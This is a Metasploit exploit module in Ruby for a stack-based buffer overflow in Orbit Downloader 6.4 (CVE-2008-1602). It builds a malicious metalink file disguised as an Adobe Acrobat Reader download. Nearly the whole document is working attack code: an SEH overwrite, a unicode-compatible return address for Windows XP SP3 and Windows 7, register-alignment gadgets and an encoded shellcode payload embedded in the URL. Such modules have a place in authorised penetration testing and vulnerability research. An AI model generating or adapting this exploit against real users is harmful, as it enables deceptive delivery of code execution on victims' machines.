Orbit Downloader - URL Unicode Conversion Overflow (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Orbit Downloader URL Unicode Conversion Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in Orbit Downloader.
				The vulnerability is due to Orbit converting an URL ascii string to unicode
				in a insecure way with MultiByteToWideChar.
				The vulnerability is exploited with a specially crafted metalink file that
				should be opened with Orbit through the "File->Add Metalink..." option.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Diego Juarez', # Vulnerability discovery
					'juan vazquez', # Metasploit module
				],
			'Version'        => '$ $',
			'References'     =>
				[
					[ 'BID', '28541' ],
					[ 'OSVDB', '44036' ],
					[ 'CVE', '2008-1602' ],
					[ 'URL', 'http://www.coresecurity.com/content/orbit-downloader' ],
				],
			'Payload'        =>
				{
					'Space'       => 2000,
					'EncoderType'	=> Msf::Encoder::Type::AlphanumUnicodeMixed,
					'EncoderOptions' => { 'BufferRegister' => 'EAX' },
					'BadChars'    => "\x00\x09\x0a\x0b\x0c\x0d\x26\x3c",
					'DisableNops' => true,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Orbit Downloader 6.4 on Windows XP SP3',
						{
							'Ret' => 0x4b38, # p/p/r unicode compatible from orbitdm.exe
							'Nop' => 0x46, # 004600 => add [esi+0x0],al
							'AddEax' => "\x05\x15\x11", # add eax,0x11001500
							'Offset' => 4
						}
					],
					[ 'Orbit Downloader 6.4 on Windows 7',
						{
							'Ret' => 0x4b38, # p/p/r unicode compatible from orbitdm.exe
							'Nop' => 0x46, # 004600 => add [esi+0x0],al
							'AddEax' => "\x05\x16\x11", # add eax,0x11001600
							'Offset' => 120
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 03 2008',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.metalink']),
			], self.class)
	end

	def exploit

		sploit = rand_text_alpha(4096 - "http://".length)
		sploit << "\xff" * 2 # EIP =>  Access Violation
		sploit << rand_text_alpha(120) # padding
		sploit << "\x61\x62" # NSEH # popad (61) + nop compatible with unicode (add [edx+0x0],ah # 006200)
		sploit << [target.ret].pack("v") # seh # ppr
		sploit << target['Nop']
		sploit << target['AddEax'] # eax align is os dependant
		sploit << target['Nop']
		sploit << "\x2d\x11\x11" # sub eax,0x11001100
		sploit << target['Nop']
		sploit << "\x50" # push eax
		sploit << target['Nop']
		sploit << "\xc3" # ret
		sploit << rand_text_alpha(target['Offset']) # align shellcode to eax pointer
		sploit << payload.encoded

		metalink = %Q|
<?xml version="1.0" encoding="utf-8"?>
<metalink version="3.0" generator="Metalink Generator v1.00.0034" xmlns="http://www.metalinker.org/">
	<publisher>
		<name>Adobe</name>
		<url>http://www.adobe.com/</url>
	</publisher>
	<description>Adobe Acrobat Reader</description>
	<files>
		<file name="AdbeRdr80_en_US.exe">
			<version>8.0</version>
			<language>en-US</language>
			<os>Windows-x86</os>
			<verification>
				<hash type="md5">0ab5ce309f313ed028824251c798b35c</hash>
			</verification>
			<resources>
				<url type="http" preference="100">http://#{sploit}.com/pub/adobe/reader/win/8.x/8.0/enu/AdbeRdr80_en_US.exe</url>
			</resources>
		</file>
	</files>
</metalink>
|

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(metalink)

	end

end